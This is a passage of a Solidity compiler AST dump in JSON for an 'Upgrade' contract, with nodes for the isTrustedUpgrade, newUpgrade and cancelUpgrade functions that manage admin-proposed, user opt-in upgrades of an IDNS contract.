Upgrade.Opt"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"userOpt","referencedDeclaration":1735,"type":"mapping(address => enum Upgrade.Opt)"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct Upgrade.UpgradeConfig storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":1857,"name":"Identifier","src":"2449:8:6"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"-","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1848,"type":"uint256","value":"idx"},"id":1858,"name":"Identifier","src":"2458:3:6"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":1859,"name":"Literal","src":"2464:1:6"}],"id":1860,"name":"BinaryOperation","src":"2458:7:6"}],"id":1861,"name":"IndexAccess","src":"2449:17:6"}],"id":1862,"name":"MemberAccess","src":"2449:25:6"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1802,"type":"address","value":"_user"},"id":1863,"name":"Identifier","src":"2475:5:6"}],"id":1864,"name":"IndexAccess","src":"2449:32:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"member_name":"In","type":"enum Upgrade.Opt"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1731,"type":"type(enum Upgrade.Opt)","value":"Opt"},"id":1865,"name":"Identifier","src":"2485:3:6"}],"id":1866,"name":"MemberAccess","src":"2485:6:6"}],"id":1867,"name":"BinaryOperation","src":"2449:42:6"},{"attributes":{"functionReturnParameters":1808},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"tuple(bool,contract IDNS)"},"children":[{"attributes":{"hexvalue":"74727565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"true"},"id":1868,"name":"Literal","src":"2505:4:6"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"to","referencedDeclaration":1739,"type":"contract IDNS"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct Upgrade.UpgradeConfig storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":1869,"name":"Identifier","src":"2511:8:6"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"-","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1848,"type":"uint256","value":"idx"},"id":1870,"name":"Identifier","src":"2520:3:6"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":1871,"name":"Literal","src":"2526:1:6"}],"id":1872,"name":"BinaryOperation","src":"2520:7:6"}],"id":1873,"name":"IndexAccess","src":"2511:17:6"}],"id":1874,"name":"MemberAccess","src":"2511:20:6"}],"id":1875,"name":"TupleExpression","src":"2504:28:6"}],"id":1876,"name":"Return","src":"2497:35:6"}],"id":1877,"name":"IfStatement","src":"2445:87:6"}],"id":1878,"name":"ForStatement","src":"2407:125:6"},{"attributes":{"functionReturnParameters":1808},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"tuple(bool,contract IDNS)"},"children":[{"attributes":{"hexvalue":"66616c7365","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"false"},"id":1879,"name":"Literal","src":"2545:5:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":1880,"name":"Identifier","src":"2552:4:6"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1881,"name":"Literal","src":"2557:1:6"}],"id":1882,"name":"FunctionCall","src":"2552:7:6"}],"id":1883,"name":"TupleExpression","src":"2544:16:6"}],"id":1884,"name":"Return","src":"2537:23:6"}],"id":1885,"name":"Block","src":"2180:384:6"}],"id":1886,"name":"FunctionDefinition","src":"2107:457:6"},{"attributes":{"functionSelector":"5efd5384","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"isTrustedUpgrade","scope":2050,"stateMutability":"view","virtual":false,"visibility":"external"},"children":[{"attributes":{"text":"@return true if _addr is or was an active upgrade trusted by _user."},"id":1887,"name":"StructuredDocumentation","src":"2567:71:6"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_addr","scope":1940,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":1888,"name":"UserDefinedTypeName","src":"2666:4:6"}],"id":1889,"name":"VariableDeclaration","src":"2666:10:6"},{"attributes":{"constant":false,"mutability":"mutable","name":"_user","scope":1940,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1890,"name":"ElementaryTypeName","src":"2678:7:6"}],"id":1891,"name":"VariableDeclaration","src":"2678:13:6"}],"id":1892,"name":"ParameterList","src":"2665:27:6"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":1940,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":1893,"name":"ElementaryTypeName","src":"2716:4:6"}],"id":1894,"name":"VariableDeclaration","src":"2716:4:6"}],"id":1895,"name":"ParameterList","src":"2715:6:6"},{"children":[{"attributes":{"assignments":[1897]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"length","scope":1939,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":1896,"name":"ElementaryTypeName","src":"2726:4:6"}],"id":1897,"name":"VariableDeclaration","src":"2726:11:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"length","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":1898,"name":"Identifier","src":"2740:8:6"}],"id":1899,"name":"MemberAccess","src":"2740:15:6"}],"id":1900,"name":"VariableDeclarationStatement","src":"2726:29:6"},{"attributes":{},"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2049,"type":"function () view returns (bool)","value":"upgradePlanned"},"id":1901,"name":"Identifier","src":"2763:14:6"}],"id":1902,"name":"FunctionCall","src":"2763:16:6"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"--","prefix":true,"type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1897,"type":"uint256","value":"length"},"id":1903,"name":"Identifier","src":"2786:6:6"}],"id":1904,"name":"UnaryOperation","src":"2784:8:6"}],"id":1905,"name":"ExpressionStatement","src":"2784:8:6"}],"id":1906,"name":"IfStatement","src":"2759:33:6"},{"children":[{"attributes":{"assignments":[1908]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"i","scope":1936,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":1907,"name":"ElementaryTypeName","src":"2801:4:6"}],"id":1908,"name":"VariableDeclaration","src":"2801:6:6"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1909,"name":"Literal","src":"2810:1:6"}],"id":1910,"name":"VariableDeclarationStatement","src":"2801:10:6"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"<","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1908,"type":"uint256","value":"i"},"id":1911,"name":"Identifier","src":"2813:1:6"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1897,"type":"uint256","value":"length"},"id":1912,"name":"Identifier","src":"2817:6:6"}],"id":1913,"name":"BinaryOperation","src":"2813:10:6"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"++","prefix":true,"type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1908,"type":"uint256","value":"i"},"id":1914,"name":"Identifier","src":"2827:1:6"}],"id":1915,"name":"UnaryOperation","src":"2825:3:6"}],"id":1916,"name":"ExpressionStatement","src":"2825:3:6"},{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"&&","type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1889,"type":"contract IDNS","value":"_addr"},"id":1917,"name":"Identifier","src":"2837:5:6"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"to","referencedDeclaration":1739,"type":"contract IDNS"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct Upgrade.UpgradeConfig storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":1918,"name":"Identifier","src":"2846:8:6"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1908,"type":"uint256","value":"i"},"id":1919,"name":"Identifier","src":"2855:1:6"}],"id":1920,"name":"IndexAccess","src":"2846:11:6"}],"id":1921,"name":"MemberAccess","src":"2846:14:6"}],"id":1922,"name":"BinaryOperation","src":"2837:23:6"},{"attributes":{"commonType":{"typeIdentifier":"t_enum$_Opt_$1731","typeString":"enum Upgrade.Opt"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"enum Upgrade.Opt"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"userOpt","referencedDeclaration":1735,"type":"mapping(address => enum Upgrade.Opt)"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct Upgrade.UpgradeConfig storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":1923,"name":"Identifier","src":"2864:8:6"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1908,"type":"uint256","value":"i"},"id":1924,"name":"Identifier","src":"2873:1:6"}],"id":1925,"name":"IndexAccess","src":"2864:11:6"}],"id":1926,"name":"MemberAccess","src":"2864:19:6"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1891,"type":"address","value":"_user"},"id":1927,"name":"Identifier","src":"2884:5:6"}],"id":1928,"name":"IndexAccess","src":"2864:26:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"member_name":"In","type":"enum Upgrade.Opt"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1731,"type":"type(enum Upgrade.Opt)","value":"Opt"},"id":1929,"name":"Identifier","src":"2894:3:6"}],"id":1930,"name":"MemberAccess","src":"2894:6:6"}],"id":1931,"name":"BinaryOperation","src":"2864:36:6"}],"id":1932,"name":"BinaryOperation","src":"2837:63:6"},{"attributes":{"functionReturnParameters":1895},"children":[{"attributes":{"hexvalue":"74727565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"true"},"id":1933,"name":"Literal","src":"2913:4:6"}],"id":1934,"name":"Return","src":"2906:11:6"}],"id":1935,"name":"IfStatement","src":"2833:84:6"}],"id":1936,"name":"ForStatement","src":"2796:121:6"},{"attributes":{"functionReturnParameters":1895},"children":[{"attributes":{"hexvalue":"66616c7365","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"false"},"id":1937,"name":"Literal","src":"2928:5:6"}],"id":1938,"name":"Return","src":"2921:12:6"}],"id":1939,"name":"Block","src":"2722:215:6"}],"id":1940,"name":"FunctionDefinition","src":"2640:297:6"},{"attributes":{"functionSelector":"27557157","implemented":true,"isConstructor":false,"kind":"function","name":"newUpgrade","scope":2050,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"text":"@notice Allows the upgrade manager to suggest a new upgrade.\n Users must actively opt-in if they wish to use the newly\n suggested contract."},"id":1941,"name":"StructuredDocumentation","src":"2940:151:6"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_when","scope":1997,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":1942,"name":"ElementaryTypeName","src":"3113:4:6"}],"id":1943,"name":"VariableDeclaration","src":"3113:10:6"},{"attributes":{"constant":false,"mutability":"mutable","name":"_to","scope":1997,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":1944,"name":"UserDefinedTypeName","src":"3125:4:6"}],"id":1945,"name":"VariableDeclaration","src":"3125:8:6"}],"id":1946,"name":"ParameterList","src":"3112:22:6"},{"attributes":{"parameters":[null]},"children":[],"id":1949,"name":"ParameterList","src":"3154:0:6"},{"attributes":{},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1759,"type":"modifier ()","value":"onlyAdmin"},"id":1947,"name":"Identifier","src":"3135:9:6"}],"id":1948,"name":"ModifierInvocation","src":"3135:9:6"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d8559f4d9c58d92c0f6cc7506aaddd776269e745a90166693ac14ffbd5351bb8","typeString":"literal_string \"Upgrade already running.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":1950,"name":"Identifier","src":"3158:7:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!","prefix":true,"type":"bool"},"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2049,"type":"function () view returns (bool)","value":"upgradePlanned"},"id":1951,"name":"Identifier","src":"3167:14:6"}],"id":1952,"name":"FunctionCall","src":"3167:16:6"}],"id":1953,"name":"UnaryOperation","src":"3166:17:6"},{"attributes":{"hexvalue":"5570677261646520616c72656164792072756e6e696e672e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Upgrade already running.\"","value":"Upgrade already running."},"id":1954,"name":"Literal","src":"3185:26:6"}],"id":1955,"name":"FunctionCall","src":"3158:54:6"}],"id":1956,"name":"ExpressionStatement","src":"3158:54:6"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_506799b880ff232ed5f54e00b8e5b853a6f02bd7daf253f7e24e82995769c92c","typeString":"literal_string \"Cannot upgrade in the past.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":1957,"name":"Identifier","src":"3216:7:6"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":">","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1943,"type":"uint256","value":"_when"},"id":1958,"name":"Identifier","src":"3224:5:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"timestamp","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-4,"type":"block","value":"block"},"id":1959,"name":"Identifier","src":"3232:5:6"}],"id":1960,"name":"MemberAccess","src":"3232:15:6"}],"id":1961,"name":"BinaryOperation","src":"3224:23:6"},{"attributes":{"hexvalue":"43616e6e6f74207570677261646520696e2074686520706173742e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Cannot upgrade in the past.\"","value":"Cannot upgrade in the past."},"id":1962,"name":"Literal","src":"3249:29:6"}],"id":1963,"name":"FunctionCall","src":"3216:63:6"}],"id":1964,"name":"ExpressionStatement","src":"3216:63:6"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_23d7a602209605b60a3695edfc74d69e1762fa17da0834a9ed4a12b92f22eb03","typeString":"literal_string \"Cannot upgrade to void.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":1965,"name":"Identifier","src":"3283:7:6"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1966,"name":"ElementaryTypeName","src":"3291:7:6"}],"id":1967,"name":"ElementaryTypeNameExpression","src":"3291:7:6"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1945,"type":"contract IDNS","value":"_to"},"id":1968,"name":"Identifier","src":"3299:3:6"}],"id":1969,"name":"FunctionCall","src":"3291:12:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address payable","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1970,"name":"ElementaryTypeName","src":"3307:7:6"}],"id":1971,"name":"ElementaryTypeNameExpression","src":"3307:7:6"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1972,"name":"Literal","src":"3315:1:6"}],"id":1973,"name":"FunctionCall","src":"3307:10:6"}],"id":1974,"name":"BinaryOperation","src":"3291:26:6"},{"attributes":{"hexvalue":"43616e6e6f74207570677261646520746f20766f69642e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Cannot upgrade to void.\"","value":"Cannot upgrade to void."},"id":1975,"name":"Literal","src":"3319:25:6"}],"id":1976,"name":"FunctionCall","src":"3283:62:6"}],"id":1977,"name":"ExpressionStatement","src":"3283:62:6"},{"attributes":{"assignments":[1979]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"up","scope":1996,"stateVariable":false,"storageLocation":"storage","type":"struct Upgrade.UpgradeConfig","visibility":"internal"},"children":[{"attributes":{"name":"UpgradeConfig","referencedDeclaration":1740,"type":"struct Upgrade.UpgradeConfig"},"id":1978,"name":"UserDefinedTypeName","src":"3349:13:6"}],"id":1979,"name":"VariableDeclaration","src":"3349:24:6"},{"attributes":{"arguments":[null],"isConstant":false,"isLValue":true,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"struct Upgrade.UpgradeConfig storage ref","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"push","type":"function () returns (struct Upgrade.UpgradeConfig storage ref)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":1980,"name":"Identifier","src":"3376:8:6"}],"id":1981,"name":"MemberAccess","src":"3376:13:6"}],"id":1982,"name":"FunctionCall","src":"3376:15:6"}],"id":1983,"name":"VariableDeclarationStatement","src":"3349:42:6"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"uint256"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"when","referencedDeclaration":1737,"type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1979,"type":"struct Upgrade.UpgradeConfig storage pointer","value":"up"},"id":1984,"name":"Identifier","src":"3395:2:6"}],"id":1986,"name":"MemberAccess","src":"3395:7:6"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1943,"type":"uint256","value":"_when"},"id":1987,"name":"Identifier","src":"3405:5:6"}],"id":1988,"name":"Assignment","src":"3395:15:6"}],"id":1989,"name":"ExpressionStatement","src":"3395:15:6"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract IDNS"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"to","referencedDeclaration":1739,"type":"contract IDNS"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1979,"type":"struct Upgrade.UpgradeConfig storage pointer","value":"up"},"id":1990,"name":"Identifier","src":"3414:2:6"}],"id":1992,"name":"MemberAccess","src":"3414:5:6"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1945,"type":"contract IDNS","value":"_to"},"id":1993,"name":"Identifier","src":"3422:3:6"}],"id":1994,"name":"Assignment","src":"3414:11:6"}],"id":1995,"name":"ExpressionStatement","src":"3414:11:6"}],"id":1996,"name":"Block","src":"3154:275:6"}],"id":1997,"name":"FunctionDefinition","src":"3093:336:6"},{"attributes":{"functionSelector":"55f29166","implemented":true,"isConstructor":false,"kind":"function","name":"cancelUpgrade","scope":2050,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"text":"@notice Allows the upgrade manager to cancel a planned upgrade.\n No behavior changes, users still access their current preferred upgrade."},"id":1998,"name":"StructuredDocumentation","src":"3432:145:6"},{"attributes":{"parameters":[null]},"children":[],"id":1999,"name":"ParameterList","src":"3601:2:6"},{"attributes":{"parameters":[null]},"children":[],"id":2002,"name":"ParameterList","src":"3623:0:6"},{"attributes":{},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1759,"type":"modifier ()","value":"onlyAdmin"},"id":2000,"name":"Identifier","src":"3604:9:6"}],"id":2001,"name":"ModifierInvocation","src":"3604:9:6"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_a511362ca52b51080aa5953b8aa811a063ebc951eebee51afb2e5bbf37ccae98","typeString":"literal_string \"Cannot cancel non planned upgrade.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":2003,"name":"Identifier","src":"3627:7:6"},{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2049,"type":"function () view returns (bool)","value":"upgradePlanned"},"id":2004,"name":"Identifier","src":"3635:14:6"}],"id":2005,"name":"FunctionCall","src":"3635:16:6"},{"attributes":{"hexvalue":"43616e6e6f742063616e63656c206e6f6e20706c616e6e656420757067726164652e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Cannot cancel non planned upgrade.\"","value":"Cannot cancel non planned upgrade."},"id":2006,"name":"Literal","src":"3653:36:6"}],"id":2007,"name":"FunctionCall","src":"3627:63:6"}],"id":2008,"name":"ExpressionStatement","src":"3627:63:6"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"delete","prefix":true,"type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"struct Upgrade.UpgradeConfig storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":2009,"name":"Identifier","src":"3701:8:6"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"-","type":"uint256"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"length","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":2010,"name":"Identifier","src":"3710:8:6"}],"id":2011,"name":"MemberAccess","src":"3710:15:6"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":2012,"name":"Literal","src":"3728:1:6"}],"id":2013,"name":"BinaryOperation","src":"3710:19:6"}],"id":2014,"name":"IndexAccess","src":"3701:29:6"}],"id":2015,"name":"UnaryOperation","src":"3694:36:6"}],"id":2016,"name":"ExpressionStatement","src":"3694:36:6"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"pop","type":"function ()"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":2017,"name":"Identifier","src":"3734:8:6"}],"id":2019,"name":"MemberAccess","src":"3734:12:6"}],"id":2020,"name":"FunctionCall","src":"3734:14:6"}],"id":2021,"name":"ExpressionStatement","src":"3734:14:6"}],"id":2022,"name":"Block","src":"3623:129:6"}],"id":2023,"name":"FunctionDefinition","src":"3579:173:6"},{"attributes":{"functionSelector":"d2ac7a5f","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"upgradePlanned","scope":2050,"stateMutability":"view","virtual":false,"visibility":"public"},"children":[{"attributes":{"text":"@return true if there is a currently planned 